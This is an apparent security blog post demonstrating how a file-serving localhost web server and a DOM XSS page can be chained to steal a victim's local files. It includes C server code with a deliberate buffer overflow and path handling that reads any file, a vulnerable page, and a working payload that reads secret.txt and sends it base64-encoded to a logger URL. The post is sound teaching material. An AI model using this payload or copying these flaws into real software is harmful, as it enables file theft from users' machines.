Monday, September 30, 2013

Web server on localhost and a local file DOM XSS : low risk vulnerabilities to remote compromise !

One of my favorite all-time vulnerabilities are these little low risk stuff that the IT security staff won't even consider correcting, but if put together, they can lead to a high risk vulnerability, like remote system compromise.

In this post I'll present an example of one of these vulnerabilities. The scenario is the following: a heavy client installed on victim's machine that has a a vulnerable web server listening on localhost at port 8088, The vulnerabilities could be a heap overflow, arbitrary file disclosure, but let's focus on simply the arbitrary file disclosure for the purpose of this post to keep things simple.
The second vulnerability is that the heavy client comes with a set of HTML pages that are vulnerable to DOM XSS.

Each of these vulnerabilities individually aren't important as difficult to exploit, but by using these two at the same time, we can perform a remote exploit with little user interaction.

To emulate this environment, I've created a small C webserver that I found on the internet with some additional tweaking to make it handle URL parameters.

You can find the initial source code here: http://www.jbox.dk/sanos/webserver.htm

Here is the source code of the web server modified, you can add -D _DEBUG to add some debug info I've included:

//
// webserver.c
//
// Simple HTTP server sample for sanos
//

#include <stdio.h>
#include <string.h>
#include <time.h>
#include <sys/stat.h>
#include <dirent.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define SERVER "webserver/1.0"
#define PROTOCOL "HTTP/1.0"
#define RFC1123FMT "%a, %d %b %Y %H:%M:%S GMT"
#define PORT 8088

char *get_mime_type(char *name)
{

#ifdef _DEBUG
    printf("[D] Calling get_mime_type\n");
#endif
    char *ext = strrchr(name, '.');
    if (!ext) return NULL;
    if (strcmp(ext, ".html") == 0 || strcmp(ext, ".htm") == 0) return "text/html";
    if (strcmp(ext, ".jpg") == 0 || strcmp(ext, ".jpeg") == 0) return "image/jpeg";
    if (strcmp(ext, ".gif") == 0) return "image/gif";
    if (strcmp(ext, ".png") == 0) return "image/png";
    if (strcmp(ext, ".css") == 0) return "text/css";
    if (strcmp(ext, ".au") == 0) return "audio/basic";
    if (strcmp(ext, ".wav") == 0) return "audio/wav";
    if (strcmp(ext, ".avi") == 0) return "video/x-msvideo";
    if (strcmp(ext, ".mpeg") == 0 || strcmp(ext, ".mpg") == 0) return "video/mpeg";
    if (strcmp(ext, ".mp3") == 0) return "audio/mpeg";
    return NULL;
}

void send_headers(FILE *f, int status, char *title, char *extra, char *mime,
int length, time_t date)
{
    time_t now;
    char timebuf[128];


#ifdef _DEBUG
    printf("[D] Calling send_headers\n");
#endif


    fprintf(f, "%s %d %s\r\n", PROTOCOL, status, title);
    fprintf(f, "Server: %s\r\n", SERVER);
    now = time(NULL);
    strftime(timebuf, sizeof(timebuf), RFC1123FMT, gmtime(&now));
    fprintf(f, "Date: %s\r\n", timebuf);
    if (extra) fprintf(f, "%s\r\n", extra);
    if (mime) fprintf(f, "Content-Type: %s\r\n", mime);
    if (length >= 0) fprintf(f, "Content-Length: %d\r\n", length);
    if (date != -1)
    {
        strftime(timebuf, sizeof(timebuf), RFC1123FMT, gmtime(&date));
        fprintf(f, "Last-Modified: %s\r\n", timebuf);
    }
    fprintf(f, "Connection: close\r\n");
    fprintf(f, "\r\n");
}

void send_error(FILE *f, int status, char *title, char *extra, char *text)
{


#ifdef _DEBUG
    printf("[D] Calling send_error\n");
#endif

    send_headers(f, status, title, extra, "text/html", -1, -1);
    fprintf(f, "<HTML><HEAD><TITLE>%d %s</TITLE></HEAD>\r\n", status, title);
    fprintf(f, "<BODY><H4>%d %s</H4>\r\n", status, title);
    fprintf(f, "%s\r\n", text);
    fprintf(f, "</BODY></HTML>\r\n");
}

void send_file(FILE *f, char *path, struct stat *statbuf)
{


#ifdef _DEBUG
    printf("[D] Calling send_file\n");
#endif


    char data[4096];
    int n;

    FILE *file = fopen(path, "r");
    if (!file)
    send_error(f, 403, "Forbidden", NULL, "Access denied.");
    else
    {
        int length = S_ISREG(statbuf->st_mode) ? statbuf->st_size : -1;
        send_headers(f, 200, "OK", NULL, get_mime_type(path), length, statbuf->st_mtime);

        while ((n = fread(data, 1, sizeof(data), file)) > 0) fwrite(data, 1, n, f);
        fclose(file);
    }
}

int process(FILE *f)
{


#ifdef _DEBUG
    printf("[D] Calling process\n");
#endif


    char buf[4096];
    char *method;
    char *path;
    char *params;
    char *protocol;
    struct stat statbuf;
    char pathbuf[4096];
    int len;

    if (!fgets(buf, sizeof(buf), f)) return -1;
    printf("URL: %s", buf);

    method = strtok(buf, " ");
    path = strtok(NULL, " ");
    //params = strtok(NULL, "?");
    params = strrchr(path,'?');
#ifdef _DEBUG
    printf("[D] Params: %s\n",params);
#endif

    if (!params){
        params = "NULL";
    } else {
        path = strtok(path, "?");
    }
    protocol = strtok(NULL, "\r");


#ifdef _DEBUG
    printf("[D] Method: %s; Path: %s; Params: %s ;Protocol: %s\n",method,path,params,protocol);
#endif



    if (!method || !path || !protocol) return -1;

    fseek(f, 0, SEEK_CUR); // Force change of stream direction

    if (strcasecmp(method, "GET") != 0)
    send_error(f, 501, "Not supported", NULL, "Method is not supported.");
    else if (stat(path, &statbuf) < 0)
    send_error(f, 404, "Not Found", NULL, "File not found.");
    else if (S_ISDIR(statbuf.st_mode))
    {

#ifdef _DEBUG
        printf("[D] 0\n");
#endif

        len = strlen(path);
        if (len == 0 || path[len - 1] != '/')
        {
            snprintf(pathbuf, sizeof(pathbuf), "Location: %s/", path);
            send_error(f, 302, "Found", pathbuf, "Directories must end with a slash.");
        }
        else
        {
            snprintf(pathbuf, sizeof(pathbuf), "%sindex.html", path);
            if (stat(pathbuf, &statbuf) >= 0)
            send_file(f, pathbuf, &statbuf);
            else
            {



#ifdef _DEBUG
                printf("[D] 1\n");
#endif


                DIR *dir;
                struct dirent *de;

                send_headers(f, 200, "OK", NULL, "text/html", -1, statbuf.st_mtime);
                fprintf(f, "<HTML><HEAD><TITLE>Index of %s</TITLE></HEAD>\r\n<BODY>", path);
                fprintf(f, "<H4>Index of %s</H4>\r\n<PRE>\n", path);
                fprintf(f, "Name                             Last Modified              Size\r\n");
                fprintf(f, "<HR>\r\n");
                if (len > 1) fprintf(f, "<A HREF=\"..\">..</A>\r\n");

                dir = opendir(path);


#ifdef _DEBUG
                printf("[D] Opendir\n");
#endif

                while ((de = readdir(dir)) != NULL)
                {
                    char timebuf[32];
                    struct tm *tm;


#ifdef _DEBUG
                    printf("[DD] Reaching the Buffer Overflow\n");
#endif


                    strcpy(pathbuf, path);
                    strcat(pathbuf, de->d_name);

                    stat(pathbuf, &statbuf);
                    tm = gmtime(&statbuf.st_mtime);
                    strftime(timebuf, sizeof(timebuf), "%d-%b-%Y %H:%M:%S", tm);

                    fprintf(f, "<A HREF=\"%s%s\">", de->d_name, S_ISDIR(statbuf.st_mode) ? "/" : "");
                    fprintf(f, "%s%s", de->d_name, S_ISDIR(statbuf.st_mode) ? "/</A>" : "</A> ");
                    if (strlen(de->d_name) < 32) fprintf(f, "%*s", 32 - strlen(de->d_name), "");
                    if (S_ISDIR(statbuf.st_mode))
                    fprintf(f, "%s\r\n", timebuf);
                    else
                    fprintf(f, "%s %10d\r\n", timebuf, statbuf.st_size);
                }
                closedir(dir);

                fprintf(f, "</PRE>\r\n<HR>\r\n<ADDRESS>%s</ADDRESS>\r\n</BODY></HTML>\r\n", SERVER);
            }
        }
    }
    else
    send_file(f, path, &statbuf);

    return 0;
}

int main(int argc, char *argv[])
{
    int sock;
    struct sockaddr_in sin;

    sock = socket(AF_INET, SOCK_STREAM, 0);

    sin.sin_family = AF_INET;
    sin.sin_addr.s_addr = INADDR_ANY;
    sin.sin_port = htons(PORT);
    bind(sock, (struct sockaddr *) &sin, sizeof(sin));

    listen(sock, 5);
    printf("HTTP server listening on port %d\n", PORT);

    while (1)
    {
        int s;
        FILE *f;

        s = accept(sock, NULL, NULL);
        if (s < 0) break;

        f = fdopen(s, "a+");
        process(f);
        fclose(f);
    }

    close(sock);
    return 0;
}


//EOF





--
Note: as a side note, this sample code suffers from a buffer overflow that you can easily spot, but is tricky to exploit on Linux environment compared to Windows for some weird behavior of the file system on windows.
Windows allows accessing files even if one of the folders in the middle doesn't exist.
let's assume I want to open file c:\folder\file,if you type: type c:\folder\..\this_folder_doesnt_exist\..\folder\file, you will still be able to access the file, if you try it on Linux, it won't work !
This behavior can be used to control the path of the file while still passing if file exist test.
--

And here is some very basic DOM XSS that even implements URL decoding to make it easier to exploit:

<html>
    <head></head>
    <body>
        <script>
            function urldecode(url) {
                return decodeURIComponent(url.replace(/\+/g, ' '));
            }
            document.write(urldecode(document.location.href.substring(document.location.href.indexOf("default=")+8)));
        </script>
    </body>

</html>

As you can see, the DOM XSS vulnerability happens in the default parameter that is written to the DOM without any prior validation or encoding.

The exploitation scenario is as follows, by simply sending a link to the victim that he visits, we are able to leverage these 2 vulnerabilities to extract any file from the victims machine.

http://localhost:8088/home/asm/projects/localhost_dom/dom.html?default=%3Cscript%3Efunction%20reqListener%20()%20{%20%20console.log(this.responseText);%20%20console.log(btoa(this.responseText));%20%20document.write(%22%3Cimg%20src=%27http://localhost:8089/logger.php?%22%2bbtoa(this.responseText)%2b%22%27%3E%22);};var%20oReq%20=%20new%20XMLHttpRequest();oReq.onload%20=%20reqListener;oReq.open(%22get%22,%20%22secret.txt%22,%20true);oReq.send()%3C/script%3E

The following link tries first to exploit the DOM XSS by including our malicious payload in default parameter.

function reqListener () {
  console.log(this.responseText);
  console.log(btoa(this.responseText));
  document.write("<img src='http://localhost:8089/logger.php?" + btoa(this.responseText) + "'>");
};

var oReq = new XMLHttpRequest();
oReq.onload = reqListener;
oReq.open("get", "secret.txt", true);
oReq.send()
function reqListener () {
  console.log(this.responseText);
  console.log(btoa(this.responseText));
  document.write("<img src='http://localhost:8089/logger.php?" + btoa(this.responseText) + "'>");
};

var oReq = new XMLHttpRequest();
oReq.onload = reqListener;
oReq.open("get", "secret.txt", true);
oReq.send()



If you are asking why retrieve the file through the DOM vulnerable HTML page, rather than through the localhost web server, I should then remind of the same origin policy security measure. This security measure enforced in this case by the victim's browser will not allow us to access the content of whatever we retrieve from the http://localhost:8088 domain, we are therefore using the DOM XSS to de the heavy lifting by accessing the content of the secret material, then sending it back to our remote controlled server.



I would recommend the excellent book "The Tangled Web: A Guide to Securing Modern Web Application"  for more about the subject. So by accessing the DOM Vulnerable page, we are able to execute our JavaScript payload under the same domain.

What the payload does after that is that it extracts our secret.txt file (which you can see in the firebug console) and then sends it back base64 encoded to our remote server, in this case it is http://localhost:8089/logger.php.

I hope I've illustrated that even these little risk vulnerabilities can have some interesting impact provided the good exploitation angle.

No comments:

Post a Comment